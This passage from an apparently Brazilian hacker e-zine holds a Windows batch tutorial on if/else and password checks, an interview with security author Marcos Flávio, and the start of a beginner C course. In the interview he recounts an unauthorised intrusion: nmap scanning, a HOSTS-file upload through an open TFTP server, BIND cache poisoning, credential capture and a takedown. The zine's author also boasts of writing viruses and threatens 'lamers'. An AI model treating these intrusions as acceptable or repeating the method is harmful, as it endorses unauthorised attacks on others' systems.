'pause'. Detalhe: Depois que o user digita 10 ou 24 ele ainda continua executando o 'pause', CLARO QUE DEPOIS QUE ELE EXECUTA O QUE ESTÁ DENTRO DO BLOCO DE CODIGO =) Mas se dentro do bloco de codigo contem o comando 'exit' obviamente que ele nem vai chegar até o comando 'pause' que está fora do bloco de codigo =] =========X==================X====== Controle de fluxo em batch - 'else' =========X==================X====== Bem, o 'else' pode ser lido como: 'caso voce não faça o que eu quero eu mostro isso'. Exemplo: ------ cut ------ @echo off &cls set /p numero=Digite o numero que estou pensando: if %numero% == 10 (echo Ei cara, acha mesmo que eu estou pensando no %numero%?) if %numero% == 24 ( echo Linda rosa que te leva infeliz rsrs) else (echo Ei mano, voce nao digitou 24 huahauh!!!) pause ------ cut ------ Resultado: Digite o numero que estou pensando:10 Ei cara, acha mesmo que eu estou pensando no 10? Ei mano, voce nao digitou 24 huahauh!!! Pressione qualquer tecla para continuar. . . C:\> Chega de langa-lenga!!! hauha!!! Vou parar de explicar a mesma coisa varias vezes =) Mais exemplos: ------ cut ------ @echo off &cls set /p numero=Digite o numero que estou pensando: if %numero% EQU 10 (echo Ei cara, parabens!!! Voce digitou %numero%?) if %numero% NEQ 24 (echo Continua nao executando o 24 uhuhauha!!!) pause ------ cut ------ Caso o user digite 10 o resultado é esse: Digite o numero que estou pensando:10 Ei cara, parabens!!! Voce digitou 10? Mas continua nao digitando o 24 rsrs Pressione qualquer tecla para continuar. . . Reparem que utilizei os operadores de comparação EQU (Equivalent) e NEQ (Not Equivalent). Ou seja, disse isso aqui: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX @echo off &cls set /p numero=Digite o numero que estou pensando: SE %O que o usuario digitou% == 10 (echo Ei cara, parabens!!! Voce digitou %numero%?) SE %O que o usuario digitou% NÃO 24 (echo Continua nao executando o 24 uhuhauha!!!) pause XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Se o que o usuario digitou for equivalente (EQU - igual a) 10 ele exibe a mensagem acima, se o que o usuario digitar NÃO (Não Equivalente - NEQ) for igual a 24 ele exibe outra mensagem, mas olha só que legal rapazida, 10 é igual a 24? Não! É por isso além do programa exibir a mensagem echo Ei cara, parabens!!! Voce digitou %numero%? Ele ainda exibe: echo Continua nao executando o 24 uhuhauha!!! Porque eu programei ele para exibir essa segunda pensagem quando um usuario NÃO digitar o que eu quero =) Com esse esquema meu fi, o usuario só tem duas escolhas: Sim ou SIM Huahuahuh!!!! Ja fiz muitos virus nesse esquema hauhauh!!! Dava ao usuario uma falsa sensação de escolha hauhuaha!!! Livre arbitril ou arbitriu ou arbitre (Não sei, não sou evangelico hauha!!!) só no céu baby hauhauhau!!! Entendenram? O MANIACO DA EXPLICAÇÃO DETALHADA ESTÁ DEVOLTA!!!! Com suas piadinhas sem graça e tudo mais Hauhauh!!! =======X==============X=============================X= XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX =======X==============X=============================X= Muitas vezes voce necessita que seu script faça comparações de strings digitadas pelo usuario, isso é muito importante como voces verão mais a frente na seção 'Telnet Secure', nesse exemplo me utilizei do método autenticação fornecido pelos scripts em batch para dar um segunda camada de segurança ao meu computador, fazendo com que seje necessario a utilização de uma segunda senha em uma seção telnet 'já estabelecida'. Se voce tiver imaginação (coisa que não me falta) e tiver conhecimento em batch, garanto que fará muitas coisas boas e completamente bizarras com simples scripts em batch (Experiencia propria =). Vamos aos exemplos: ------ cut ------ @echo off &cls set senha=luzinha set /p password=Digite sua senha: if %password% EQU %senha% (echo Bem vindo amigo) if %password% NEQ %senha% (echo Desculpe, senha invalida) pause ------ cut ------ Se voces acompanharam a C.O.D.E x01, viram que para declararmos uma variavel em batch utilizamos o comando 'set', nesse script o que fiz foi basicamente declarar uma variavel de nome 'senha' ('set senha' =) que recebe o valor (dados) 'luzinha', que como voce pode ver é texto (nada de numero rsrs =). Abaixo verá que declarei outra variavel chamada 'password' (que significa 'senha' em portugues) que exibe a mensagem 'Digite sua senha' e 'PARA' a execução do script ATÉ que o usuario digite sua senha, quando o usuario digitar algo, esse algo vai ser armazenado na variavel 'password' e logo abaixo vai rolar uma comparação de valores. Reparem aqui: Linguagem Batiana hauhau!! (Não vem do Batman rsrs): IF "%password%" EQU "%senha%" (echo Bem vindo amigo) IF "%password%" NEQ "%password%" (echo Desculpe, senha invalida) Tradução (Em nossa lingua, chega de falar morcegal): SE "%O q o user digitou for%" Equivalente a: "%O valor da variavel 'senha'%" ( echo Eu exibo essa mensagem aqui: Bem vindo amigo ) SE "%O q o user digitou%" Nao for equivalente ao: "%Valor da variavel 'senha'%" ( echo Eu mando ele chupar uma manga hauhau!!! ) Ou poderar incurtar as coisas utilizando o 'else', exemplo: ------ cut ------ @echo off &cls set senha=luzinha set /p password=Digite sua senha: if %password% EQU %senha% ( echo Bem vindo amigo) ELSE ( echo Desculpe, senha invalida) pause ------ cut ------ Se o que o usuario digitar for igual a 'luzinha' ele exibe a mensagem Bem vindo e tals, caso contrario (ELSE) ele exibe Deculpe, senha invalida. O 'else' é uma forma de revolta que inventaram cara huahuha!!! Ele diz assim: 'IF' não é assim, 'ELSE' então toma infeliz hauhauh!!! Maneiro rsrs. Detalhes Detalhes, voces sempre surgem =) Reparem nesses resultados: Digite sua senha:luzinha --> O cara digitou certo ('luzinha') Bem vindo amigo --> Isso prova que ele digitou certo ('luzinha') Pressione qualquer tecla para continuar. . . Mas e se por algum acaso da vida o cara digitase ao invez de 'luzinha' em letras minusculas, ele digitasse isso: LuZiNha, LUZINha, LUzinha (que não deixa de ser a senha). O que fazer para o script autenticar a senha ou login ou ambos? Obviamente caso voce não queira inserir nenhum recurso de login case sensitive. Para quem não sabe 'case sensitive' significa que a senha diferencia letras minusculas de letras maiusculas. Para autenticar todas as formas de escrita (minusculas e maiusculas) foi criado o '/I'. Vamos a um exemplo de utilização do /I ou /i como preferir, pois o DOS não é 'case sensitive', ou seja, não diferencia letras minusculas de maisculas (Eu sou o professor do ano rsrs =) Mas antes gostaria de comprovar que da erro =) ============================= Digite sua senha:LUZINHA Desculpe, senha invalida Pressione qualquer tecla para continuar. . . ============================= Vamos ver o novo code: ------ cut ------ @echo off &cls set senha=luzinha set /p password=Digite sua senha: if /I %password% EQU %senha% ( echo Bem vindo amigo) ELSE ( echo Desculpe, senha invalida) pause ------ cut ------ Repare que a unica coisa que mudei nesse code com relação ao code anterior foi o '/I' depois do 'IF', reparem ai: if /I %password% EQU %senha% ( Utilizando o '/I' depois do 'IF' significa que ele vai fazer a comparação do que o usuario digitou (%password%) com o valor da variavel 'senha' não se importando com letras minusculas ou maiusculas. Vamos ao resultado. Resultado: Digite sua senha:LUZINHA Bem vindo amigo Pressione qualquer tecla para continuar. . . Simples, muito simples, ou em outras palavras: SVEB -> Simple, Very Easy Baby =] Obviamente que se voce for um maniaco por portugues ira querer que o user digite o começo da senha com letras maiusculas certo? Então apenas faça isso: set senha=Luzinha E não insira DEPOIS do 'IF' o '/I', isso faz com que seje necessario a utilização do 'L' maiusculo no começo da senha (como voce definiu la em cima =). Para dificultar a vida dos caras voce pode ir fazendo isso véi: set senha=LuZ1nh@# Podera utilizar metodos de autenticação que exigem caracteres especiais como o arroba (@) ou a 'tralha' (#). Se o que o cara digitar contiver um errinho se quer vai dar... PAU!!! Exemplos: Acertou!!! Digite sua senha:LuZ1nh@# Bem vindo amigo Pressione qualquer tecla para continuar. . .. Errou!!! Digite sua senha:Luz1nh@# Desculpe, senha invalida Pressione qualquer tecla para continuar. . . Meu erro ai em cima foi ter digitado o 'z' com letra minuscula =). Só para lembrar amigo, repare nessa linha aqui: @echo off &cls. Alguns de voces não devem conhecer este operador --> '&', mas para quem não sabe gostaria de dizer que o 'E Comercial' é o operador responsavel pela execução de dois comandos em uma mesma linha no seu script ou até mesmo quando voce executa ele no shell do DOS, nesse caso é desativado o eco do comando e logo em seguida a tela é limpa (utilizando o comando cls). Se eu quizese ver a data atual e ainda ver a hora eu poderia inserir apenas uma linha no meu fonte, exemplo: ------ cut ------ @echo off date &time pause ------ cut ------ resultado: Data atual: sex 29/02/2008 Digite a nova data: (dd-mm-aa) Hora atual: 21:32:50,53 Digite a nova hora: Pressione qualquer tecla para continuar. . . Isso é bastante utilizado por mim, principalmente para inserir comentarios nos scripts que desenvolvo, pois o 'ReM' que é utilizado para inserir comentarios em arquivo em lotes ou no CONFIG.SYS, ainda continua sendo um comando, lembra que o '&' permite que eu escreva dois OU MAIS comandos na mesma linha? Por isso me sinto no direito de escrever o comando no '.bat' e colocar na frente o que ele faz =) Exemplo: ------ cut ------ @echo off &ReM -> Aqui eu desligo o eco do comando date &REM Aqui eu quero ver a data echo Beijo xuxa &rem Aqui eu to mandando um beijo pra xuxa rsrs =) pause ------ cut ------ Resultado: Data atual: sex 29/02/2008 Digite a nova data: (dd-mm-aa) Beijo xuxa Pressione qualquer tecla para continuar. . . Vale lembrar para os iniciantes que nenhum tipo de comentario é exibido na execução dos scripts (como voce pode ver acima), pois a real função dos comentarios é ajudar outros programadores a ter um bom entendimento de seus fontes (nada mais), porque voce vai estar comentando toda ação, nesse caso 'todo comando' =) Com os comentarios você também poderá inserir creditos, licença, instruções de uso e até piadas hehe. Vale lembrar também que não é exibido nenhum tipo de comentario porque utilizei o '@echo off' no começo do code. O interesante do controle de fluxo é justamente possibilitar a voce a escolha de controlar cada coisa que vai acontecer =) Mais exemplos: Esse script abaixo testa se o que o usuario digitou é maior ou igual a 10, vou utilizar o operador 'GEQ' que significa: 'Maior que, ou igual'. =) ------ cut ------ @echo off &cls & color a set numtest=10 set /p num1=Digite um numero: if %num1% GEQ %numtest% ( echo voce digitou um numero maior ou igual a %numtest%) ELSE ( echo voce nao digitou um numero maior ou igual a %numtest% =]) ------ cut ------ Esse abaixo analisa se o que o usuario digitou é menor que 5, repare que ele apenas analisa se é menor, ou seja, se o usuario digitar cinco ele ainda vai mostrar a mensagem: Não é igual a cinco maluco. Porque estou utilizando um operador que só faz um tipo de comparação que é: Verificar se é menor. Ponto. Sem muito lenga-lenga XP. ah! O operador (como voces podem ver) é o LSS, que significa 'menor que' =) ------ cut ------ @echo off &cls & color a set numtest=5 set /p num1=Digite um numero: if %num1% LSS %numtest% ( echo Seu numero e menor que %numtest% %username%) ELSE ( echo voce nao digitou um numero menor que %numtest% %username% =]) ------ cut ------ Repare que estou utilizando a variavel de ambiente (%username%) que armazena o nome de usuario do maluco, para o script exibir uma mensagem mais legal. Vejamos. Resultado: ------------------------------------------------------------------------------------------- Digite um numero:-2 Seu numero e menor que 5 David <-- Repara no 'David', David é meu nome de usuario =) ------------------------------------------------------------------------------------------- Digite um numero:10 voce nao digitou um numero menor que 5 David =] ------------------------------------------------------------------------------------------- Digite um numero:5 voce nao digitou um numero menor que 5 David =] ------------------------------------------------------------------------------------------- Sempre podemos utilizar variaveis de ambiente em nossos escripts, este ai é um belo exemplo disso, David é o valor da variavel de ambiente %username% e que por sinal é meu username (nome de usuario =) que está armazenado nesta variavel. Também podemos comparar valores digitados pelo user diretamente a uma string, ou seja, não precisamos comparar valores de duas variaveis. ------ cut ------ @echo off &cls & color a set /p algo=Digite algo: if "%algo%" EQU "Queijo" ( echo voce digitou Queijo! & pause) ELSE ( echo voce nao digitou Queijo :( & pause ) ------ cut ------ Repare nas aspas e em tudo ai em cima, pois estou cançado de escrever XP. Até a proxima parte do curso onde iremos falar mais do IF e essas paradinhas da vida ;-) ---- Batch é uma arte manoh. By 6_Bl4ck9_f0x6 (Myloveluz) [s] ----- C4p1Tul0 08 [X=========X=======================X==========X] Entrevista com Marcos Flavio Araujo Assunção [X=========X=======================X==========X] NOta: 00:14 27/3/2010 Classe especial ateh hoje (Mesmo sendo pobre), o resto eh resto... (Ano de 2008) Aí está cambada, a tão esperada entrevista, espero que gostem de mais uma excelente materia da C.O.D.E. Gostaria de agradecer mais uma vez ao Marcos por ter aceitado dar a entrevista e gostaria de cobrar o paper que ele disse que ia escrever pra minha zine =) To esperando rsrs. Starting... [Eu]: Ola Marcos, primeiramente gostaria de agradecer por voce ter aceitado a proposta de ser entrevistado. Tenho certeza que os leitores da C.O.D.E depois desta entrevista vao te ver com os meus olhos, ou seja, vao ver que voce e um dos muitos "Brasileiros" da elite (me refiro a elite HACKER). Voce sabia que sou seu fa? Na verdade eu sou fa de um monte de gente ae, mas sou seu fa tambem, diga o quanto essa entrevista é importante pra vc rsrsrsr, ei! isso foi uma brincadeira eheh, enfim, me conte quando e como começou seu interesse por hacking. [Marcão]: Haha, de boa, o prazer (da entrevista, óbvio), é meu... risos. Bom, olha só... eu sempre gostei muito de informática e programação... lá pra 1994 ou 1995, quando eu tinha uns 14 anos, comecei a trabalhar em uma empresa de informática como "info-boy". É aquele que ia na casa dos clientes instalar os softwares por disquete. (Windows = 15 disquetes. Ninguem merece). Enfim, pouco tempo descobri a minha vontade de sempre ser mais e mais curioso e aprender todo dia um pouco além do que eu já sabia. Isso me levou a me tornar professor nessa empresa, após uns 3 ou 4 meses lá. Nessa mesma época eu conheci as famosas BBS (Bulletin Board Systems) e me apaixonei. Acessava BBSs do Brasil e do mundo todo. Foi nesse ambiente que eu comecei a ter contato com materiais voltados para "hacking". Foi o casamento perfeito, mais de dez anos depois continuo apaixonado com o assunto. [Eu]: Antigamente a nossa classe especial de seres humanos (hackers), costumava botar medo em civis, mas hoje esta tudo mudado, tem lammer que chega pra gente no msn e diz que agente nao consegue invadir o PC dele (ate que alguem vai la e transforma a vida desse lixo num inferno), nossa moral esta caindo, as elites nao sao mais respeitadas hoje em dia. Voce, como eu e um monte de gente ae "das antigas", acha que o mundo hacker entrou em decadencia? Diga-me o que acha da cena hacker nos dias de hoje e me fale sobre a triste realidade que nos vivemos com relaçao a ninguem desenvolver mais nada para contribuir com a cena "Brasileira". [Marcão]: O problema maior hoje é o fim do mistério. Como eu dizia, na época das BBS era tudo mais difícil. Pra conseguir aprender alguma coisa você tinha que saber inglês pra poder ler o FAQ da ALT.2600. Pra conseguir esse faq você tinha que acessar a USENET. Pra acessar essa rede, você tinha que descobrir um servidor NNTP que fosse público e configurar em algum software que permitesse. Enfim, dava mais prazer aprender pois dava a sensação tipo de uma maçonaria, um pequeno clube secreto. Hoje, utilizando o google e um ou dois cliques, você consegue tudo isso com muita facilidade, em português, com ferramentas próprias e prontas pra ser usadas. Essa "aparente facilidade" faz com que os novatos acreditem que as coisas são muito simples, pois a maioria não consegue ver a diferença entre "invadir" e "quebrar a segurança". Invadir pode ser feito com princípios de engenharia social, o que torna o ato fácil para até crianças de 5 anos. "Quebrar a segurança" exige conhecimentos avançados, e alguém que não conheça um mínimo de programação, rede e SOs não chegaria nem perto disso. E nem mencionei o fato de alguns inúteis que se auto-denominam "carders" sujarem ainda mais a cena atual do hacking, fazendo com que o termo hacker seja sinônimo de ladrão. [Eu]: Marcos, gostaria de lhe pergunta o que voce acha dos malditos lammers, digo "lammers", "NAO bgners", voce e do tipo que deseja a forca para esses lixos? Mande seu recadinho para essa escoria. [Marcão]: Begginers ou iniciantes, todos nós já fomos. Nada mais normal que isso. Afinal, você sempre será um iniciante em algo que nunca fez. Mesmo que eu conheça bem de redes, não entendo nada de modelagem 3D, eu seria um principiante nessa àrea. Então, para as pessoas normais elas sabem que sempre vão precisar aprender mais pois conhecimento não é medido de forma vertical apenas... não existe conhecer mais ou menos, apenas de forma diferente. Ninguém sabe todos os detalhes de determinado assunto e sempre podemos aprender trocando informações com outros. O problema dos lamers é que, logo na primeira ou segunda coisa que aprendem já se acham os donos do mundo e ficam criticando outros. É triste pois serão eternamente inferiores à aqueles com humildade. [Eu]: Legal, agora vamos as perguntas construtivas, esta pronto? [Marcão]: Manda bala. [Eu]: Espero que saiba que estou copiando e colando as perguntas, estou pressionando a tecla x e apagando so pra voce achar que eu estou digitando algo ae eheh Brincadeira. [Marcão]: hehe, de boa. [Eu]: Pergunta um: Baixei sua entrevista para o cara do programa online e ele falo daquele tal grupo hacker terrorista que nao me recordo o nome agora (pra nao sujar a entrevista sabe, detesto divulgar gringo), entao, gostaria de lhe perguntar qual a tecnica que utilizou para fazer deface no server dos gringotes, lembro-me que na entrevista voce nao disse muita coisa nao, fico falando que tinha feito um troço la e o cara caiu, gostaria que voce contase a historia direito para os leitores da C.O.D.E, sei que voce e preguiçoso pra escrever e pra ler e tals, mas num te preocupa eu tenho todo o tempo do mundo ehhe. ah! Quanto mais tecnico melhor. [Marcão]: Preguiçoso eu? imagina... kkk. Olha, não vou falar demais disso não pq já me encheu o saco essa história. Mas vou comentar alguns detalhes que ocultei disso até hoje pra encerrar esse caso de vez. Começou assim: um colega meu de Fortaleza me passou um link desse tal de HAA. Eu abri o site e achei até interessante a crítica que eles estavam fazendo aos EUA. Postei em alguns fórums e passei por e-mail a história pra um conhecido jornalista meu, que mandou um e-mail para os caras e entrevistou eles. Quando eu li a tal "entrevista", eu choquei. Isso porque um dos tais "membros" se auto-denominava "Sombrio". Esse é um nick que eu utilizava na época que eu fazia parte de um grupo , o UHOL, mais ou menos em 1996/1997. Cismei que não era mera coincidência e que o cara provavelmente me conhecia. Fiquei curioso e perguntei ao meu colega de Fortaleza como esse site tinha chegado nas mãos dele. Me disse que recebeu de e-mail de um hacker de Recife que ele conhecia, mas não quis me passar o contato, disse que o cara era sistemático, etc. Enfim, eu mandei um e-mail para o contato deles no site do Hackers Against America utilizando um pouco de Engenharia Social, falando que eu achava que não era legal o que estavam fazendo, especialmente de querer realizar um ataque contra o The New York Times (tava na página deles isso) e tal. Recebi uma resposta então em português bem claro me mandando ir para um certo lugar e continuar a enganar as pessoas de Lavras com o meu "anti-trojans". É um programa que eu criei antes do Valhala, mas que deixei de mexer faz tempo. E o fato dele citar a cidade de Lavras (onde eu morava na época... ), Tive certeza então que era alguém que eu conhecia das antigas... até imaginava quem, um antigo desafeto do meu ex-grupo que se mudou pro nordeste. Enfim, peguei o IP do cabeçalho do e-mail dele, e vi que era originário do Recife, utilizando Velox. Comprovei o que eu achava. A partir daí, fiz o seguinte: passei o NMAP no PC dele, pra obter o fingerprint do OS. Deu que era Windows 2000/XP/2003 (um dos 3). Alguns dos serviços encontrados remetiam principalmente ao XP. Exemplo: 5000 (UPNP). Mas ao mesmo tempo haviam serviços estranhos, como RLOGIN e RSH habilitados. Também vi o DNS e o TFTP. Ao passar a opção -A do NMAP no DNS por exemplo, ele me resultou que seria o BIND. Mas BIND pra Windows? Deduzi que ele havia instalado o CYGWIN para realizar testes, uma espécie de "tradutor-emulador" de Linux para Windows. Tive uma idéia então: normalmente o CYGWIN quando mal instalado, coloca o servidor TFTP pra operar da raiz "C:\". Tentei fazer upload de um arquivo HOSTS modificado , colocando o Domínio da página deles para cair no meu IP. Algo como um DNS Spoofing. Busquei também um exploit mais recente do BIND, que realizasse Cache Poisoning (envenenamento de cache) com o mesmo fim, redirecionamento do domínio haa.narod.ru para o meu IP atual. Um dos dois funcionou: alguns minutos depois, ao abrir o meu Valhala Honeypot e configurar um servidor FTP para a escuta, eu recebi a conexão da minha "vítima", peguei login e senha de acesso do site real e tirei o mesmo do ar logo depois, deixando uma "mensagem" para irritar o meu coleguinha. Pouco tempo após isso, vi aparecer um texto no Zone-H falando que eu havia criado o site e retirado do ar. Fiquei estupefato. Fui ler o texto e fiquei procurando o que eles teriam apresentado como "prova" do que diziam. Basicamente no texto dizia: que como o meu primeiro livro era para iniciantes, minhas colunas também, eu também utilizava Velox (o que por sinal é uma estupidez. O Velox está em mais de 12 estados brasileiros, milhares de usuários) e outras bobagens. Creio que se eu quisesse fazer um teatro como eles diziam, o MÍNIMO a fazer é mascarar o meu IP. Se eu sei diversas maneiras de fazer isso (proxys, spoofing, anonymizer, tor, etc) por que eu deixaria o meu IP real aparecesse se fosse realmente culpado? Enfim, acho que teve um dedinho do meu "colega revoltado" que criou o site, provavelmente enviando e-mails para sites especializados com a bomba de que "Marcos Flávio forjou o site terrorista" e coisa do tipo. Por último, me acusaram de tentar "divulgar" o Valhala Honeypot para realizar a venda do mesmo. Só se esqueceram de consultar o sourceforge no qual meses antes do ocorrido estava lá de todo tamanho: OPEN SOURCE. [Eu]: Acho que ja deu para notar que essa entrevista naum e nem um pouco formal, ou seja, digamos que seja um conversa entre amigos e por isso gostaria de uma informaçao sua, um tanto quanto comprometedora, tipo, vc ja fudeu algum host fora o dos gringos terroristas? Se ja detonou, me fale mais sobre isso, gostaria de divulgar suas açoes. [Marcão]: Não... nunca fiz o estilo Cracker... só desliguei um provedor de internet em Lavras uma vez, durante o final de semana todo, impossibilitando a todos os usuários dele acessarem a net. Mas isso eu era adolescente tb... tinha uns 16, 17 anos na época. Não curto muito fazer defaces não, nunca vi muita utilidade em competir "quem pixa mais". [Eu]: Andei reparando em seus videos para o DEFHACK e na maioria dos seus videos "por fora" e percebi que uma grande parte dos mesmos sao baseados nos ensinamentos de sua certificaçao, o CEH, pra te falar a verdade acredito que todos os macetes que vc ta ensinando nos videos voce aprendeu la ('eu acho'), tipo : ADS, Fake URL, Spoofing (usando sterm), Hijacking de telnet, Trojan Beast, Cain, etc. Eu andei absorvendo toda a certificaçao e vi que existe muita coisa boa. Enfim Marcos, me conte o que de bom o CEH lhe trouxe e diga para os leitores da C.O.D.E o quanto que ela pode nos beneficiar. [Marcão]: Olha, muitas dessas técnicas eu já conhecia antes de estudar para a certificação. Mas a CEH realmente me trouxe muito conhecimento, pois é um certificado muito interessante. Afinal, é o primeiro tipo de certificado formal de que você sabe realizar um penetration test, ou teste de invasão. Não vou dizer que a CEH lhe certifica que é um hacker, pois isso não é relacionado com o seu nível de conhecimento apenas e sim ao seu nível de criatividade. Mas é muito satisfatório você receber um certificado assegurando que você sabe invadir um sistema. Melhor ainda: reconhecido internacionalmente. [Eu]: Me conte de onde surgiu a ideia de criar um honeypot, me refiro ao valhala. Gostaria de dizer que ele é bom, acompanho a evoluçao dele a muito tempo e vejo que a cada nova versao voce se supera. Existem varios carinhas fazendo Honeys em Delphi, creio eu que na esperança de se comparar ao valhala, alguns até fazem seus honeys "com a mesma interface" e mesma funçoes do valhala, mas deixa isso pra la, melhor naum comentar. Foi voce o pioneiro em desenvolvimento de honeys por aqui? Estou certo ou estou delirando? [Marcão]: haha, eu já vi alguns desses honeys que o pessoal faz. Muitos fazem apenas o que o meu anti-trojans fazia anos antes do Valhala. Abre uma porta, recebe uma conexão, desconecta o indivíduo e mostra o IP na tela. Fico até honrado quando vejo que alguns extraíram o código-fonte do Valhala, sem nem mudar o nome das variáveis (risos). Eu realmente evolui o Valhala desse ponto a muito tempo, implementando servidores como FTP, WEB, TFTP, FINGER, etc... pretendo inclusive colocar um DNS (caso a falta de tempo me permita terminar a versão 2.0). Olha, pioneiro em honeypots no Brasil eu creio que não sou, pois existem vários projetos mas a grande maioria é voltado para sistemas Unix/Linux. O Valhala, apesar de também opensource, tem alguns objetivos bem específicos: Ser fácil de usar, com interface gráfica, para Windows, todo em português e com o tamanho bem pequeno. Acho que cumpri esses requisitos, afinal, mais fácil de usar impossível e para um programa com mais de 5 servidores, ele tem menos de 1 MB de download. Talvez nesses objetivos sim, eu tenha me saído um pouco mais pioneiro. [Eu]: Voce pode arrumar para os leitores da C.O.D.E o font do valhala? Tipo assim cara, eu uso muito IDSs como o snort e tal, se eu to afim de algo facil e descomplicado eu corro pro valhala porque enfim....o valhala é o valhala, mas infelizmente para mim os binarios nao é o limite, por isso venho lhe pedir encaricidamente que disponibilize o fonte do mesmo para a galera analisar e quem sabe "acrescentar algo", "nao refazer o mesmo com um outra interface e mudar os creditos". [Marcão]: O fonte está na página do sourceforge do Valhala, disponível para todos: www.sourceforge.net/projects/valhalahoneypot [Eu]: Para encerrar: Quais os bugs mais recentes que voce descobriu? Tipo, aqueles bugs que agente naum revela pra ninguem e tals, mas peso que abra uma exceçao para os leitores desta revista, conte-nos sobre eles, adoraria conhecer suas tecnicas ninja, tambem tenho as minhas mas num digo porque pode virar cu de bebo, mas enfim, entrega o ouro ae eheh. [Marcão]: Cara, infelizmente a minha época de ter tempo para brincar, fuçar e descobrir novos bugs já passou. Hoje eu trabalho o dia todo, estudo à noite e ainda dou aulas no final de semana, sem falar de cuidar da família. Mas pode deixar que, se no curto tempo livro descobrir alguma coisa interessante, lhe falo pra vc compartilhar no seu zine. [Eu]: Marcos, foi um prazer lhe entrevistar, e aproveitando a deixa gostaria de te pedir que escrevesse papers para a zine, mas se naum quiser tudo bem, nois aqui tenta levar assim mesmo eheh. Ja to com alguns papers que o pessoal under da antigas escreveram ae para a revista, mas gostaria de um paper seu aqui tambem, que tal? [Marcão]: Não prometo nada por causa da falta de tempo que te falei, mas pode deixar que um dia o paper sai... haha [Eu]: Ops... E se eu te falasse que temos que começar outra vez porque eu fechei a janela do MSN, voce faria novamente a entrevista? [Marcão]: Putz... tá brincando né? kkk [Eu]: Zuera vei Uhauhauh!!! Valeu cara, até mais ;-) [s] ----- C4p1Tul0 09 [+ ======X============X===============X===== +] CURSO DE LINGUAGEM C PARTE 3 [+ ======X============X===============X===== +] Vamos a mais uma parte do nosso cursinho de C. Não tenho muito que falar na introdução desta seção, só tenho que alertar sobre a importancia de aprender C, pois se voce souber C voce é feliz =) Recomendo muito para os leitores desta seção que não tenham experiencia com a linguagem, que olhem as zines anteriores. Sei que nas partes anteriores não tenho dado a devida seriedade que este assunto merece e tenho sido um pouco imaturo, mas olhem a segunda edição para verem sobre leitura e declaração de variaveis do tipo inteiro (int). Só pra relembrar as edições passadas gostaria de lhes mostrar como é um tipico code em C. #include /* Aqui inserimos a biblioteca que contem as funções que serão declaradas dentro do bloco de codigo.*/ int main () --> Declaramos a função principal, a que inicia o codigo. { < -------------+ ------- > Abre o bloco de codigos < -------------+ ------- > Aqui entra as declarações e etc. } < ------------ + ------- > Fecha o bloco de codigos Na segunda parte do curso voce aprendeu a declarar variaveis do tipo inteiro, ou seja, variaveis que armazenam valores numericos, mas vou dar uma relembrada aqui, nem esquenta. Já que esse curso se destina a quem nunca teve contato com programação nenhuma, creio que devo explicar o que seja uma variavel, pois me esqueci de falar sobre isso nas edições passadas (eita curso bagunçado esse XP). Podemos dizer que uma variavel nada mais é que uma palavra que voce inseri no programa que armazena algum valor (conteudo), exemplo: -------- cut -------- #include int main () { int variavelx=2; printf ("O valor da variavel 'variavelx' e %d", variavelx); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>file1 O valor da variavel 'variavelx' e 2 Nesse exemplo acima declarei (criei) uma variavel chamada variavelx e inserir um valor a essa variavel, o valor da variavel é 2, podemos inserir valores a variaveis utilizando esses metodos: int variavel; ----> Declarei a variavel 'variavel' mas não inserir um valor para ela. variavel=2; ---- > Agora sim inseri um valor. int variavel=2, --- > Aqui declarei e inseri um valor para variavel. Como voces podem ver no primeiro exemplo, inicialmente apenas declarei a variavel 'variavel' para logo abaixo definir um valor (conteudo) que ela armazenará, que no caso é 2. Podemos inserir e 'modificar' um valor de uma variavel sempre que assim desejarmos. Exemplo: -------- cut -------- #include int main () { int variavelx=2; // --> Declarei que o valor da variavel seria 2 printf ("O valor da variavel 'variavelx' e %d\n", variavelx); variavelx=10; // -- > Mudei o valor da variavel para 10 printf ("Agora o valor da variavel 'variavelx e %d", variavelx); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>file1 O valor da variavel 'variavelx' e 2 Agora o valor da variavel 'variavelx e 10 Podemos declarar variaveis utilizando esses métodos: int variavel; ou int variavel; int variavel2=2; ou int variavel1, variavel2; //Declaração de duas variaveis do tipo inteiro (mesma linha) ou int variavel1=10, variavel2; ou int variavel1=10, variavel2=20; Caso voce queira declarar varias variaveis de um determinado tipo em uma mesma linha, utilize a virgula para cada novo nome de variavel, como voce viu acima (int variavel1, variavel2). Ja que voce sabe que para declararmos uma variavel do tipo inteiro (que é uma variavel que armazena numeros) utilizamos o 'int', e utilizamos o '%d' para ler o conteudo (valor) 'desse tipo' de variavel, podemos agora passar para as variaveis do tipo 'char'. As variaveis do tipo char armazenam strings, ou em outras palavras, armazenam texto. Uma string nada mais é que uma sequencia de caracteres terminada por '\0'. Para declararmos uma variavel do tipo 'char' fazemos a mesma coisa que fazemos quando queremos declarar uma variavel do tipo inteiro, ou seja, Tipo variavel=Valor; A unica diferença com relação a uma declaração de variavel do tipo int para uma do tipo char é que para declararmos uma variavel do tipo 'char', temos que definir o tamanho de bytes que essa variavel pode armazenar, o local onde são armazenados esses bytes é chamado de buffer. Exemplo: char variavel[7]; < --- > tipo variavel[buffer]; Vale lembrar que cada caractere que uma variavel do tipo char armazena equivale a 1 byte, então a string "luzinha" conterá um total de 7 bytes sem contar com o terminador de string (\0). Sempre temos que reservar um byte no buffer para o terminador nulo (\0), ou seja, deve ficar assim: char variavel[8] = "luzinha\0"; Acima definimos que a variavel de nome 'variavel' seria do tipo char e armazenaria 8 bytes, ou seja, a variavel teria um buffer (local de armazenamento) que suporta 8 caracteres, pois vale lembrar que um caractere equivale a 1 byte. Voce deve estar curioso para saber de um detalhe, vamos supor que voce está me perguntando isso: Mas se eu inserir mais bytes que esse buffer suporta, o que acontecerá? Caso voce insira mais dados que um buffer pode suportar aparentemente não acontece nada, pois o programa irá aceitar, mas ocorre o chamado buffer overflow, ou simplesmente, estou de buffer. Onde podemos dizer de certa forma que acontece uma 'explosão', mas a explosão vai ser na pilha, mas esse essunto está longe de ser o focu principal deste paper. Na proxima edição da C.O.D.E vai ter uns papers maneiros onde meu amigo darkmoon vai tentar passar pra voces uma boa base de desenvolvimento de shellcode (isso se ele arrumar tempo ^^), pois é necessario aprender desenvolver shellcodes para a 'exploração da falha' de estouro de pilha. Gente, não pensem que é facil desenvolver shellcodes, todo mundo que meche com isso hoje ja sentiu "MUITA" dificuldade, mas posso adiantar ai como se previnir o 